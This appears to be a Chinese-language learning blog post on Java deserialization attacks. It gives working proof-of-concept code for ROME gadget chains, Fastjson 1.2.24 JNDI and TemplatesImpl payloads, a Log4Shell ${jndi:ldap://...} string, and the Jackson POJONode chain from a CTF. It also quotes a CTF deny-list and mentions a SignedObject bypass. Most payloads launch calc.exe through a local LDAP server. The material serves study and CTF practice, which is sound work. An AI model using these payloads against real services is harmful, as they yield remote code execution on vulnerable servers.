这个类其实挺简单的,主要作用就是触发了 ToStringBean#toSting
,再往上走找 ObjectBean#toString
的触发点 EqualsBean#beanHashCode
:
可以看到这个其实也挺简单的,我们只需要控制 this._obj
为 ObjectBean
就行了,那么再往上走,竟然回到了 ObjectBean#hashCode
,直接copy一下图:
确实存在了对 beanHashCode
的调用,而对 HashCode
的调用方法其实就多了,比如我们最开始学的URLDNS里,就利用了 HashMap#ReadObject
触发了 hash
,进而触发了 hash
里的 HashCode
,当然,对 HashMap 直接 put 其实也会触发 HashCode,所以我们下面的代码其实会弹两次计算器:
package com.CC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class ROME {
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
Object o = objIn.readObject();
return o;
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ObjectBean delegate = new ObjectBean(Templates.class, templates);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(root, "123");
byte[] obj = serialize(hashMap);
deserialize(obj);
}
}
Hashtable 链
除了上面的打法,其实还有其他打法,并且能进一步压缩payload长度,比如现在介绍的 Hashtable 链:
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMap.equals()
EqualsBean.equals(TemplatesImpl)
EqualsBean.beanEquals(TemplatesImpl)
pReadMethod.invoke(_obj, NO_PARAMS)
TemplatesImpl.getOutputProperties()
可以看到这个链子长得就很像CC7了,都是 Hashtable#readObject
=> Hashtable#reconstitutionPut
=> AbstractMap#equals
,不过这里利用的是 EqualsBean#equals
,回到AbstractMap#equals
,不过现在利用的是 value.equals
,其实也就是 EqualsBean.equals
:
再去看看 EqualsBean#equals
:
这个代码很简单,就是返回了 this.beanEquals(obj)
,也就是下面的 EqualsBean#beanEquals
:
逻辑和之前的 ToStringBean#toString
基本上一样的,找到标准的 getter/setter 方法然后invoke,所以还是和之前一样传入 OutputProperties
即可,然后就会调用 getOutputProperties
了
完整的代码如下:
package com.CC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class ROME2 {
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
Object o = objIn.readObject();
return o;
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 防止构造触发
EqualsBean bean = new EqualsBean(String.class, "s");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", templates);
map2.put("yy", templates);
map2.put("zZ", bean);
Hashtable table = new Hashtable();
table.put(map1, "1");
table.put(map2, "2");
// 反射插入恶意代码
setFieldValue(bean, "_beanClass", Templates.class);
setFieldValue(bean, "_obj", templates);
byte[] obj = serialize(table);
deserialize(obj);
}
}
虽然构造equals时我们利用的是CC7里的Hashtable,利用Hashcode的碰撞来做,不过应该可以注意到这里我们每一次map都插入了两个元素,而CC7不需要,这里其实是为了保证beanEquals的时候bean2 != null,这样才能走进循环:
不给hashMap传两个值,那么就会导致 AbstractMap#equals
里 m.get
拿不到值,自然后面的代码就执行不了了:
Fastjson反序列化
在我们学习反序列化的时候,不难想到一个问题,如果没有一个反序列化接口,再好的链子也打不通。在shiro里我们有一个非常好的载体,那就是rememberMe,他会自动进行反序列化,那我们挖的链子自然就有用了,而这里我们学习的Fastjson恰好就是这么一个非常好用的java反序列化载体。
首先去下一下依赖:fastjson-1.2.24.jar
Fastjson 是阿里巴巴开发的一个 Java 序列化/反序列化 JSON 的高性能库,主要用于:
- 将 Java 对象转为 JSON 字符串(序列化)
- 将 JSON 字符串转为 Java 对象(反序列化)
其核心类是 com.alibaba.fastjson.JSON
,Fastjson 还支持自动类型识别、深层嵌套结构、泛型、日期格式、@JSONField
注解等。
其中使用 toJSONString
可以把UserBean序列化成json,对应的有三种反序列化的方式:
JSON.parse(String)
: 返回Object
,需手动转型JSON.parseObject(String)
:返回JSONObject
JSON.parseObject(String, Class)
:返回自定义类实例
首先我们创建一个user类:
package com.fastjson;
public class user {
private String name;
private int age;
private String hobby;
public user() {
}
public user(String name, int age, String hobby) {
this.name = name;
this.age = age;
this.hobby = hobby;
}
public String getName() {
System.out.println("调用了getName");
return name;
}
public void setName(String name) {
System.out.println("调用了setName");
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getHobby() {
return hobby;
}
public void setHobby(String hobby) {
this.hobby = hobby;
}
@Override
public String toString() {
return "user{" +
"name='" + name + '\'' +
", age=" + age +
", hobby='" + hobby + '\'' +
'}';
}
}
接着做个测试:
package com.fastjson;
import com.alibaba.fastjson.JSON;
public class FastjsonParseDemo {
public static void main(String[] args) {
user user = new user("Fushuling", 21, "玩原神");
String s1 = JSON.toJSONString(user);
System.out.println(s1);
System.out.println("-----------------------------------------------------");
Object parse = JSON.parse(s1);
System.out.println(parse);
System.out.println(parse.getClass().getName());
System.out.println("-----------------------------------------------------");
Object parse1 = JSON.parseObject(s1);
System.out.println(parse1);
System.out.println(parse1.getClass().getName());
System.out.println("-----------------------------------------------------");
Object parse2 = JSON.parseObject(s1, Object.class);
System.out.println(parse2);
System.out.println(parse2.getClass().getName());
}
}
其中JSON.toJSONString(user)
的功能为将类转换为json字符串,并且在转换的同时自动调用了get方法,可以想见,它会在java反序列化中扮演着极其重要的作用。
接着三行不同的parse代码,它们输出结果一致,都将json字符串转化为一个类,且是JSONObject
类,实际上他们的实现有所不同,parse
会转换为@type
指定的类,parseObject
会默认指定JSONObject
类,而在parseObject
参数中加一个类参数则会转换为其指定的类,比如这里我们就指定为了Object.class,这里就自动转化为了JSONObject。
接着我们再写一个测试代码:
package com.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FastjsonParseDemo2 {
public static void main(String[] args) {
user user = new user("Fushuling", 21, "玩原神");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
System.out.println("-----------------------------------------------------");
Object parse = JSON.parse(s1);
System.out.println(parse);
System.out.println(parse.getClass().getName());
System.out.println("-----------------------------------------------------");
Object parse1 = JSON.parseObject(s1);
System.out.println(parse1);
System.out.println(parse1.getClass().getName());
System.out.println("-----------------------------------------------------");
Object parse2 = JSON.parseObject(s1, Object.class);
System.out.println(parse2);
System.out.println(parse2.getClass().getName());
}
}
实际上我们只是在调用 toJSONString
的时候多加了一个参数 SerializerFeature.WriteClassName
,但这次的执行结果要丰富多彩的多:
首先可以看到,输出结果中带有一个@type
参数,值为user
类,很显然,是因为我们在 toJSONString
中加了 SerializerFeature.WriteClassName
,它的作用是将对象类型一起序列化并且会写入到@type
字段中。
调用 JSON.parse(s1)
的时候,因为json字符串中有@type
,因此会自动执行指定类的set方法,并且会转换为 @type
指定类的类型,也就是这里的user类。
调用 JSON.parseObject(s1)
的时候会自动执行 @type
指定类的get和set方法,并且转换为 JSONObject
类,我们去代码里看看为什么:
看一眼就懂了,这里首先调用了一次 parse
,所以率先调用了setName,接着这里调用了一次 toJSON
并且强制转换为JSONObject
类,所以调用了一次getName。
最后调用 JSON.parseObject(s1, Object.class)
的时候只调用了setName,但是我们现在的类却变成了@type里指定的com.fastjson.user
,不再是parseObject
参数里指定的JSONObject,因此我们可以得出结论,@type里指定的类可以覆盖掉parseObject
参数里的类,并且还会自动调用 getter/setter,显然,只要getter/setter有危害,我们就能实现一些非常危险的操作。
这里最后做一个总结:
parse("")
会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法parseObject("")
会调用反序列化目标类的特定 setter 和 getter 方法parseObject("",class)
会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
其中 getter 自动调用还需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 以get开头且第四个字母为大写
- 无参数传入
- 返回值类型继承自
Collection Map AtomicBoolean AtomicInteger AtomicLong
setter 自动调用需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 返回值为void或者当前类
- 以set开头且第四个字母为大写
- 参数个数为1个
除此之外Fastjson还有以下功能点:
- 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用
Feature.SupportNonPublicField
参数 - fastjson 在为类属性寻找getter/setter方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_ -
字符串 - fastjson 在反序列化时,如果Field类型为byte[],将会调用
com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行base64解码,在序列化时也会进行base64编码
Fastjson的基础过完了,现在来聊聊它的利用方式,主要是两种:TemplatesImpl 和 JNDI注入
JNDI注入
JNDI注入在上面的三种反序列化中均可使用,但是有jdk要求:8u161 < jdk < 8u191
这里主要用到的是 JdbcRowSetImpl#connet
:
可以发现这个方法里进行了 lookup
,且参数来自于 dataSource
,这就是非常标准的jndi sink点了,再去找一个可以触发 connet
的地方,这里我们选择 JdbcRowSetImpl
#setAutoCommit
:
由于setAutoCommit
是 setXXX
,三种parse方式里都会自动调用,那么整个利用链其实就很简单了,构造一个恶意json序列化数据即可:
{
"@type":"com.sun.rowset.JdbcRowSetImpl", //调用com.sun.rowset.JdbcRowSetImpl函数中的
"dataSourceName":"ldap://127.0.0.1:1389/Exploit", // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
"autoCommit":true // 再调用setAutoCommit函数,传入true
}
这里我本地用的是之前打Certify的时候用的 JNDIExploit-1.4-SNAPSHOT.jar
,但我发现这开发者好像删库了?
package com.fastjson;
import com.alibaba.fastjson.JSON;
public class jndi {
public static void main(String[] args) {
String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Basic/Command/calc.exe\",\"autoCommit\":true}";
JSON.parse(exp);
}
}
TemplatesImpl
利用TemplateImpl
进行字节码的加载的条件比较苛刻:
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
- 服务端使用parse()时,需要
JSON.parse(text1,Feature.SupportNonPublicField);
因为payload需要赋值的一些属性为private属性,服务端必须添加特性才回去从json中恢复private属性的数据,所以其实实用价值很低。
我们之前利用 TemplateImpl
的时候,他利用链的最外层是一个 getOutputProperties
,这里我们其实是用的一个原理,想办法让他自动调用 OutputProperties
的 getter
,这里我发现huamang哥哥也copy的别人的,主要是这篇文章:https://tttang.com/archive/1579/#toc_templatesimpl,文中也有代码:
package com.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class testTemplateimpl {
//最终执行payload的类的原始模型
//ps.要payload在static模块中执行的话,原始模型需要用static方式。
public static class lala {
}
//返回一个在实例化过程中执行任意代码的恶意类的byte码
//如果对于这部分生成原理不清楚,参考以前的文章
public static byte[] getevilbyte() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(lala.class.getName());
//要执行的最终命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//之前说的静态初始化块和构造方法均可,这边用静态方法
cc.makeClassInitializer().insertBefore(cmd);
//设置不重复的类名
String randomClassName = "LaLa" + System.nanoTime();
cc.setName(randomClassName);
//设置满足条件的父类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
//获取字节码
byte[] lalaByteCodes = cc.toBytecode();
return lalaByteCodes;
}
//生成payload,触发payload
public static void poc() throws Exception {
//生成攻击payload
byte[] evilCode = getevilbyte();//生成恶意类的字节码
String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{" +
"\"@type\":\"" + NASTY_CLASS + "\"," +
"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"'_outputProperties':{ }" +
"}\n";
//此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响
System.out.println(text1);
//服务端触发payload
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
//main函数调用以下poc而已
public static void main(String args[]) {
try {
poc();
} catch (Exception e) {
e.printStackTrace();
}
}
}
看了下文章,其实完全就是 TemplatesImpl
链,主要就是用 getter
触发了 TemplatesImpl#getOutputProperties()
,在本文里已经出现过很多次了,那么我们直接看到为什么 FastJson 会自动触发 getOutputProperties
:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
- [✔] 方法名长度大于等于4
- [✔] 非静态方法
- [✔] 以get开头且第4个字母为大写
- [✔] 无传入参数
- [✔] 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong(上面举例的时候说过Properties继承自Hashtables,实现了Map,所以符合)
那么为什么这个poc里的_bytecodes需要base64编码呢,往后跟了一下,发现是有个地方在字段的值从String恢复成byte[]
,会经过一次base64解码:
所以我们序列化的时候自然也要base64编码一次,感觉和之前的差不多,所以我拿之前的代码改了改自己写了个demo,果然能打通:
package com.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class Template {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
CtClass clazzz = pool.get("EvilTest");
byte[] evilCode = clazzz.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{" +
"\"@type\":\"" + NASTY_CLASS + "\"," +
"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'HelloTemplatesImpl'," +
"'_tfactory':{ }," +
"'_outputProperties':{ }" +
"}\n";
System.out.println(text1);
ParserConfig config = new ParserConfig();
JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
}
除了base64,这个我们在之前解释过了,是因为Fastjson存在一次解码操作,和我们之前的payload还有两个不同的地方,一个是这里用了_outputProperties
而不是 outputProperties
,虽然我试了试没有差别还是能打通;另一个不同的地方就是这里 _tfactory
传了个空的,我们之前都是赋值成new TransformerFactoryImpl()
。
首先来看第一个问题,跟了一下,大概是解析的时候有个智能匹配函数smartMatch
,有多智能呢?比如有一个 JSON key ,可能是 user_name
或 user-name
,他会尝试移除第一个”-“和”_”后重新匹配字段名且忽略大小写,感觉这操作没什么卵用,反而增大了攻击者的攻击范围
因此你就算把key改成 o_utputpRoperties
这种奇奇怪怪的东西也能打通:
接着看到第二个问题,为什么_tfactory
可以传个空的,直接给结论,是因为当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例:
而这个格式来自于定义,比如我们知道 _tfactory
的定义其实是:
private transient TransformerFactoryImpl _tfactory = null;
所以这里直接好心的帮你生成了,传个空的也行。
Log4j2
log4j
(Log for Java)是一个由 Apache 开发的、功能强大的 Java 日志记录框架。它允许开发者灵活地将日志输出到控制台、文件、数据库等多个目的地,并支持日志分级(如 INFO
, DEBUG
, ERROR
)来控制日志的详细程度。一句话概括,Log4j 是一个为 Java 提供灵活、可配置、支持多种输出目标和日志等级的日志库。
Log4j 的主要由三部分组成:
- Logger:负责生成日志。
- Appender:日志输出位置(如文件、控制台)。
- Layout:日志格式化方式。
这里我们装一个 Log4j 依赖(需要log4j-core-2.14.1.jar和log4j-api-2.14.1.jar),来学习一下这个传奇级的漏洞的由来。
log4j需要创建配置文件 log4j2.xml 来设置日志的输出,一般是放在classpath,也就是src/这里:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<!-- 控制台输出 -->
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="[%p] %d{yyyy-MM-dd HH:mm:ss} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<!-- 根日志器 -->
<Root level="debug">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
然后写代码:
package log4j;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2Demo {
// 获取 Logger 实例(Log4j2 推荐使用 LogManager)
private static final Logger logger = LogManager.getLogger(Log4j2Demo.class);
public static void main(String[] args) {
logger.debug("这是调试信息");
logger.info("这是普通信息");
logger.warn("这是警告信息");
logger.error("这是错误信息");
}
}
运行后可以看到控制台按照我们设置的格式输出了日志
那么为什么这么好用的一个日志库会出现这么严重的漏洞呢?按照log4shell利用细节的描述,攻击者使用 ${}
关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
在 Log4j2 中提供的众多特性中,其中一个就是 Property Support。这个特性让使用者可以引用配置中的属性,或传递给底层组件并动态解析。这些属性来自于配置文件中定义的值、系统属性、环境变量、ThreadContext、和事件中存在的数据,用户也可以提供自定义的 Lookup 组件来配置自定义的值。这个 Lookup & Substitution 的过程,就是本次漏洞的关键点。提供 Lookup 功能的组件需要实现 org.apache.logging.log4j.core.lookup.StrLookup
接口,并通过配置文件进行设置,而 Lookup 支持jndi,这就成为了本次漏洞的触发点。
本地复现起来极为简单,首先用 JNDIExploit-1.4-SNAPSHOT.jar 起一个恶意jndi服务,然后用 logger.info
记录我们的恶意payload即可:
package log4j;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j_vul {
static Logger logger = LogManager.getLogger();
public static void main(String[] args) {
//用input局部变量来模拟入侵者输入的内容
String input = "${jndi:ldap://127.0.0.1:1389/Basic/Command/calc.exe}";
//这里直接用log4j输入
logger.error(input);
}
}
正因为触发起来简单,更证明了这个漏洞的危害之大。
首先,Log4j2 使用 org.apache.logging.log4j.core.pattern.MessagePatternConverter
来对日志消息进行处理,在实例化 MessagePatternConverter 时会从 Properties 及 Options 中获取配置来判断是否需要提供 Lookups 功能:
我们可以看到是否开启lookup是来自这行 Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS || noLookupsIdx >= 0
,而这个值默认是 false,因此nolooksup默认是false,也就是说lookups默认开启了:
在获取信息后,log4j会对信息进行一次format,也就是格式化
关键点在
if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
}
}
}
这段代码的意思是若 this.config
存在,且没有禁用 lookup 功能,他就会从 offset
开始,扫描字符串中是否包含 ${
字符串,找到 ${
后,取出从 offset
到末尾的字符串,这部分是包含变量的部分,然后把 workingBuilder
的长度截断为 offset
,也就是删除 ${...}
开始之后的部分,为后续追加替换结果做准备,最后是最关键的一句代码 workingBuilder.append(this.config.getStrSubstitutor().replace(event, value))
,他会使用 Log4j 的 StrSubstitutor
对象来替换 ${...}
中的内容,例如,${java:version}
会被替换为实际的 Java 版本,${jndi:ldap://...}
会触发远程 JNDI 查找。
我们来看看这个 StrSubstitutor
,可以看到这里在没有匹配到变量赋值或处理结束后,将会调用 resolveVariable
方法解析满足 Lookup 功能的语法,并执行相应的 lookup ,将返回的结果替换回原字符串后,再次调用 substitute
方法进行递归解析:
而这个 resolveVariable
则调用 this.variableResolver#lookup
方法进行处理,可以看到它处理的内容是${}里面被提取的东西,也就是我们的payload:jdni:xxxx:
而这个lookup其实是一个代理类 Interpolator
,这个代理类会代理所有的 StrLookup
实现类,他会在初始时创建一个 strLookupMap
,将一些 lookup 功能关键字和处理类进行映射。我们来看到这个lookup的实现,他首先查找变量中冒号的位置,目的是提取 ${prefix:name}
中的 prefix
和 name
:
在prefix和name断点,可以看到它就分别提取出来了 jndi
和 ldap://127.0.0.1:1389/Basic/Command/calc.exe
然后可以看到它进行了 (StrLookup)this.strLookupMap.get(prefix)
,也就是去查找是否存在对应的解析器,这个strLookupMap
就是我们最开始提过的映射表:
取到了解析器之后,就会执行lookup,最后进行jndi注入了:
Jackson反序列化(aliyunctf Bypassit)
Jackson反序列化,或者说aliyunctf Bypassit这条链子每次打比赛都经常提到身边的人提到,感觉在java反序列化中还挺重要的,这次来跟一跟。
当时题目的依赖极其简单,基本上就是得找一条原生的链子:
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
当然,实际上需要的依赖甚至比这个还简单,我们主要是用到了
spring-boot-starter-web里的jackson,具体而言是 jackson-annotations-2.13.3.jar、jackson-core-2.13.3.jar和jackson-databind-2.13.3.jar
看名字大伙可能就隐隐感觉,这个 Jackson 反序列化会不会和 Fastjson反序列化有什么相似之处呢?实际上还真有,Jackson 反序列化和核心与 Fastjson 打 TemplatesImpl 的打法差不多,都是想办法调用 OutputProperties
的 getter
在jackson中,POJONode#toString
方法可以调用getter方法,调用过程大致如下:
BaseJsonNode#toString
InternalNodeMapper#nodeToString
ObjectWriter#writeValueAsString
ObjectWriter#_writeValueAndClose
DefaultSerializerProvider#serializeValue
DefaultSerializerProvider#_serialize
BeanSerializer#serialize
BeanSerializerBase#serializeFields
BeanPropertyWriter#serializeAsField
我们来跟一下,看看为什么 POJONode#toString
能够调用对应类对象的getter方法,首先你在 POJONode
里其实是搜不到一个 toString
方法的实现的:
所以我们说的 POJONode#toString
其实调用的是它父类的 toString
,甚至于其实 ValueNode
里也没有toString
,调用的是 ValueNode
的父类 BaseJsonNode
里的toString
:
再来看看这个 InternalNodeMapper#nodeToString
,具体实现也比较简单,也就是继续调用了 ObjectWriter#writeValueAsString
:
我们再来看到 ObjectWriter#writeValueAsString
,它的作用其实是将一个 Java 对象序列化为 JSON 字符串,是不是有点眼熟?是的,Fastjson里也有,并且Fastjson转换的同时会自动调用getter,事实上 writeValueAsString
也有类似的功能,它也会自动的调用 getter:
最终的触发点在 BeanPropertyWriter#serializeAsField
,它会调用对应属性值的getter方法进行赋值。
因此我们现在知道了 POJONode#toString
会调用getter,只要利用它触发 getOutputProperties
就喜提RCE了,那么现在我们需要找到一个地方来触发 toString
,这里用到的是 BadAttributeValueExpException#readObject
,这是一个原生类,在readObject
的时候就触发了 toString
,可谓非常的美妙,直接把链子串起来了:
写payload也不难,也就是在原本的 TemplatesImpl
链子的基础上加了三行代码,首先实例化一个 POJONode
,然后把恶意 templates
传进去,这样在触发 BaseJsonNode#toString
就会触发我们的对象 templates
里的 getter
然后触发 TemplatesImpl#getOutputProperties
执行恶意代码:
POJONode node = new POJONode(templates);
然后实例化一个对象 BadAttributeValueExpException
,我们先传一个 null 进去,否则从上面的图里可以看到它会在创建的时候就触发toString,然后把这个 val
属性为恶意的 POJONode
对象 node
,然后在反序列化执行 readObject
的时候就会触发(本地调试的时候注意一个问题,IDEA默认会自动调用toString,记得去setting里把这个关了):
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
注意这里还有一个坑点,如果你直接序列化会出现报错:
Java在writeObject
序列化的时候,如果序列化的类实现了writeReplace
方法,就会调用并做检查,而我们的 BaseJsonNode
恰好就实现了这个writeReplace
,解决办法就是直接去把他删了,这里可以直接在原本的代码里加一句这个:
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
完整的代码:
package com;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class AliyunBypassIt {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(val);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
二次反序列化(2023巅峰极客 BabyURL)
当年这道题能直接用Bypassit1里那条原生的Jackson反序列化链子打通,不过应该不是预期解,预期解是利用SignedObject实现二次反序列化绕过黑名单。
首先可以看到一个很明显的反序列化接口:
这不过这里它是自己实现的对象输入流,做了一些过滤:
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};
String[] var4 = denyClasses;
int var5 = denyClasses.length;
for(int var6 = 0; var6 < var5; ++var6) {
String denyClass = var4[var6];
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
并且反序列化入口是自己实现的,这个URLHelper,可惜进了黑名单,作用大概就是在对象被反序列化的时候,访问一个 URL,并把访问结果写入 /tmp/file
文件中。:
只不过这个访问做了一个小校验,不过我们只需要用大小写就能绕过了(FILE://),简单来说是一个任意文件读:
上面的东西都进了黑名单,所以打法就是二次反序列化绕过第一次反序列化检验里的黑名单,利用SignObject#getObject
:
